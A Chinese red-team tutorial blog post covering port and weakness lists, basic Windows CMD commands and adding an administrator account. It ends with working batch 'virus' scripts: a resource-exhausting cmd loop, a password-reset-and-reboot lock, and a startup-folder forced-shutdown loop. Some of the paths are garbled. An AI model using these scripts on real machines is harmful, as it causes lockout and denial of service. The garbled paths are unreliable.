红队知识学习入门(4)Windows病毒编写

声明

学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章笔记的只是方便各位师傅学习知识,以下网站涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负

1、端口号及对应漏洞

ftp:21

tenlnet:23

web:80

80-89:可能是web

443:ssl心脏滴血漏洞、web其他漏洞

445:smb

1433:mysql

1521:oracle

2082/2083:cpanel(主机管理系统登录(偏国外))

2222:da虚拟机主机管理系统登录(偏故国外)

3128:squid代理默认端口-漫游内网

3306:mysql

3312/3311:kangle主机管理系统登录

3389:远程桌面(前面文章有提到)

5432:postgreSQL

5900:vnc(前面文章有)

6379:redis(未授权)

7001.7002:weblogic 默认弱口令,反序列化

7778 kloxo:主机控制面板登录

8000-9090:一些常见的web端口,有些运维喜欢把管理后台开在非80端口上

8080:tomcat、wdcp主机管理系统,默认弱口令

8080,8089,9090:jboss

8083:vestacp主机管理系统(偏国外)

8649:ganglia

8888:宝塔 主机管理默认端口

10000:virtuamin/webmin 服务器虚拟主机管理系统

11211:memcache 未授权访问

27017,27018:mongodb未授权访问

28017:mongodb统计系统桌面

2、常用CMD基础命令

1、echo(输出)

echo ?/ (查看echo的帮助)

echo 123456 (输出123456)

echo 123456 > 666.txt(将123456重定向新建666.txt)

echo 123456 >> 666.txt(追加内容)

2、dir(列出当前目录所以文件)

3、d: c: cd(切换目录)

d:(切换到d盘)

c:(切换到c盘)

cd .(进入到当前目录)

cd ..(返回上一级目录)

cd/文件名(进入文件)

cd desktop(进入到界面)

4、tree(文件树状图)

tree /?(tree帮助)

tree /f(显示每个文件夹中的名称)

tree /a (用ascii字符输出)

tree C:\\User\Administrator /f

tree C:\\User\Administrator /a

5、创建目录、删除目录

md 666(创建666文件夹)

rd  666(删除666文件夹)

6、ipconfig /all(显示ip配置)

7、cls(清屏)

8、copy(复制拼接文件)

copy /? (查看帮助文档)

copy 1.txt ..\1.txt(把文件1.txt复制到上一级目录)

cd ..返回上一级目录

copy 1.txt+2.txt >3.txt(用echo输出两个文件,用copy将文件1和2拼接成3.txt

9、MOVE文件移动

move ..\1.txt 4.txt (将上一级目录1.txt移动到本级目录中,并且重命名为4.txt

10、ren(重命名)

ren 1.txt 2.txt

11、del(删除)

del 1.txt 2.txt (该删除是永久删除,回收箱找不到)

12、ping(探测主机ip是否存活)

ping \?(查看命令帮助文档)

ping -t www.baidu.com

13、type(显示文本内容)

echo hello>>1.txt

type 1.txt

14、reg(注册表)

reg \?

15、nslookup(探测域名信息)

nslookup www.baidu.com

nslookup -d www.baidu.com(查看历史解析记录)

16、find查找

find /?

echo 123456 >>1.txt 

find "a" 1.txt

type 1.txt | find "a"(查看1.txt的内容并且输出带有a参数的字段)

type 1.txt | find "a" /n (增添一个排序)

17、tasklist(显示当前进程的信息)

18、taskkill(结束进程)

taskkill \?(查看帮助文档)

taskkill /pid +进程号

/f 强制kill命令

19、ver.winver(显示版本)

20、start cmd

start calc(打开计算器)

start ping www.baidu.com -t (启动ping 并执行-t)

21、systeminfo(查看整个系统信息)

22、logoff(注销)

logoff \?(查看帮助文档)

远程登录3389桌面时,当该机器处于链接状态,可以使用该命令注销对方远程登录

23、shutdown 

shutdown /s  一分钟内关机

shutdown /a  计划取消

shutdown /r (重启)

shutdown /g 一分钟之内关机

shutdown /r /t 0(-t设置时间,设置为0立即执行)

shutdown /n 重启电脑

24、telnet(协议工具)

25、arp

arp -a(显示内网有哪些主机,方便于横向移动,用于发现同一网络主机)

26、at 定时任务

at time "shutdown /r  /t 0" 定时关机

at 1 /delete 取消命令

27、net (服务)

net stop telnet (关闭telnet)

net start telnet(开启telnet)

net user(查看当前用户)

net user admin 123 /add (添加用户名admin,密码为123)

net user admin(查看admin的权限)

net user administrator (查看管理员用户权限)


提权Windows

net localgroup administrator admin /add(提权)

net user admin(查看admin用户权限)

实战编写病毒

资源耗尽病毒

echo start cmd > 1.txt

echo %0 >> 1.txt

ren 1.txt 1.bat

利用echo将启动cmd窗口命令写入到1.txt文件中,接着%0表示用于无限循环执行当前批处理文件,然后将1.txt文件改成1.bat脚本文件,执行后就会无限循环执行启动cmd窗口

锁机病毒

echo net user administrator 123456 > c:\windows\Temp\1.bat

echo shutdown /r /t 0 >> c:\windows\Temp\1.bat

无限重启病毒原理

echo shutdown -s -t 0>c:\windows\Templ1.bat

将关机命令写入到1.bat文件

copyc:\windows\Templ1.bat %USERPROFILE%\AppDataRoaminglMicrosoft\windows\Start\MenulProgramsStartupl'

将写好的命令脚本到开机自启动目录,当电脑开机时就启动这个脚本,运行关机命令

最后,制作不易,您的点赞是对我最大的支持,感谢大家点赞关注一键三连,未来我还会更新更多红队文章

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/6726.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

知识竞赛答题系统,线上答题小程序链接怎么做?

随着智能手机的普及,越来越多的单位开始在线上开展知识竞赛。这种形式的知识竞赛不仅易于操作,而且参与度更高。那么线上知识竞赛答题系统怎么做呢?自己可以做吗?答案是可以的!借助微信答题系统制作平台风传吧&#xf…

AndroidStudio通过Bundle进行数据传递

作者:CSDN-PleaSure乐事 欢迎大家阅读我的博客 希望大家喜欢 使用环境:AndroidStudio 目录 1.新建活动 2.修改页面布局 代码: 效果: 3.新建类ResultActivity并继承AppCompatActivity 4.新建布局文件activity_result.xml 代…

【网络-交换机】生成树协议、环路检测

路由优先级 路由优先级决定了在多种可达的路由类型中,哪种路由将被用来转发数据包。路由优先级值越低,对应路由的优先级越高,优先级值255表示对应的路由不可达。一般情况下,静态路由的优先级为1,OSPF路由优先级为110&a…

华为eNSP:mux-vlan

一、什么是mux-vlan? Mux-vlan 是一种多路复用的虚拟局域网(Virtual Local Area Network)技术。它将多个不同的VLAN流量转发到同一个物理端口,从而实现VLAN间的互通。 在传统的以太网环境中,每个VLAN通常都有一个独立…

又发现了Mac妙控鼠标的新使用方法

我一直是不爱用妙控鼠标的,因为用起来怪怪的,但是今天发现BettreAndBetter支持妙控鼠标的修改,于是就找出了闲置了许久的妙控鼠标试了一下 优化后的妙控鼠标使用起来就没有任何不适应的地方了,三指按下模拟中键,而且还…

Cursor编程工具

最近爆火的Cursor是一款基于 VS Code 二次开发的 AI 编辑器。相比传统编辑器,它将 AI 技术深度融合到各个功能点,带来了前所未有的用户体验。 下载链接:https://www.cursor.com/ 第一步:下载安装 下载完成后,双击启动…

Me-LLaMA——用于医疗领域的新型开源大规模语言模型

摘要 大规模语言模型的出现是提高病人护理质量和临床操作效率的一个重大突破。大规模语言模型拥有数百亿个参数,通过海量文本数据训练而成,能够生成类似人类的反应并执行复杂的任务。这在改进临床文档、提高诊断准确性和管理病人护理方面显示出巨大的潜…

鸿蒙ArkTS中的布局容器组件(Column、Row、Flex、 Stack、Grid)

在鸿蒙ArkTS中,布局容器组件有很多,常见的有:   ⑴ Column:(垂直布局容器):用于将子组件垂直排列。   ⑵ Row:(水平布局容器):用于将子组件水…

【点击劫持漏洞(附测试代码)】

漏洞描述 点击劫持(Clickjacking)是一种网络攻击技术,攻击者通过将一个恶意的页面或按钮隐藏在合法网站的页面下,诱使用户在不知情的情况下点击隐藏的内容,从而触发攻击者设计的操作。这种攻击通常会导致用户无意中执…

大数据新视界 -- 大数据大厂之经典案例解析:电商企业如何靠 Impala性能优化逆袭(上)(9/30)

💖💖💖亲爱的朋友们,热烈欢迎你们来到 青云交的博客!能与你们在此邂逅,我满心欢喜,深感无比荣幸。在这个瞬息万变的时代,我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…

语音 AI 迎来爆发期,也仍然隐藏着被低估的机会丨RTE2024 音频技术和 Voice AI 专场

在人工智能快速发展的今天,语音交互技术正经历一场革命性的变革。从语音识别到语音合成,再到端到端的语音对话系统,这一领域的创新正以前所未有的速度推进。这些进步不仅提升了技术指标,更为实时翻译、虚拟数字人、智能客服等实时…

vue3 + ts + element-plus 二次封装 el-table

一、实现效果: (1)数据为空时: (2)有数据时:存在数据合并;可自定义表头和列的内容 (3)新增行: (4)删除行: &a…

6 张图带你深入了解 kube-scheduler

本文目录: kube-scheduler 用途Scheduler Pod 调度流程源码调用链路Scheduler Framework如何扩展 kube-scheduler 用途 顾名思义:负责将 Pod 调度到 Node 上。 Pod 创建流程: 说明: 所有的组件只与 Apiserver 做交互&#xff0…

数据结构(8.7_1)——外部排序

知识总览 外存、内存之间的数据交换 外部排序原理 构造初始“归并段” 第一趟归并 第二趟归并 输出缓冲区1空了用归并段1的下一块元素补上 ..... 顺序的两个归并段方法一样..... 第三趟归并 时间开销分析 对外部排序进行优化 由于文件总块数无法改变,所以…

“方块兽神仙猿点石成金”游戏搭建开发

“方块兽神仙猿点石成金”是一款结合了策略和运气的休闲游戏。玩家需在规定时间内向不同的山头投入矿石,等待神仙猿降临并随机选择一座山进行“点石成金”。根据神仙猿的选择,玩家将获得不同的奖励。 游戏核心机制 矿石投入:玩家在游戏开始…

【压力测试】如何确定系统最大并发用户数?

一、明确测试目的与了解需求 明确测试目的:首先需要明确测试的目的,即为什么要确定系统的最大并发用户数。这通常与业务需求、系统预期的最大用户负载以及系统的稳定性要求相关。 了解业务需求:深入了解系统的业务特性,包括用户行…

达梦数据库DM管理工具增删改不生效怎么办?如何设置事务自动提交?

前言 我在使用达梦数据库DM时,一开始使用的是达梦数据库自带的连接工具DM管理工具。自带的有它自己的好处,起码对于修改新增字段等是比较兼容的。后面我发现DBeaver也是支持连接达梦数据库的,所以后面用DBeaver也在连接达梦数据库。 我在一…

JVM出现OOM错误排查

前言 对应线程出现的OOM错误,其实分好几类:堆内存溢出、栈溢出、方法区溢出,下面我们要区分两个概念 内存泄漏: 内存泄漏是指GC垃圾回收的速度跟不上内存消耗的速度,造成OOM的情况 内存溢出: 内存溢出是指程序员在申请内存时&…

WinForms 中使用 MVVM 模式构建应用:实现登录页面、页面导航及 SQLite 数据库连接完整框架搭建过程

前言 在传统的 WinForms 应用程序开发中,很多开发者使用事件驱动的设计模式,直接将业务逻辑编写在界面代码中。然而,随着应用程序的复杂性增加,单一的界面文件变得臃肿,难以测试和维护。借鉴 WPF 中 MVVM(…

windows系统编程 - 静态库和动态库

文章目录 前言一、使用obj保护源码生成obj文件导入并使用obj文件方式一 拖入解决方案方式二 附加依赖项适配C语言文件 二、静态库的概述三、静态库的创建与使用四、动态库的概述五、动态库的创建六、动态库的两种调用方式七、动态链接库的隐式加载__declspec(dllimport) 声明外…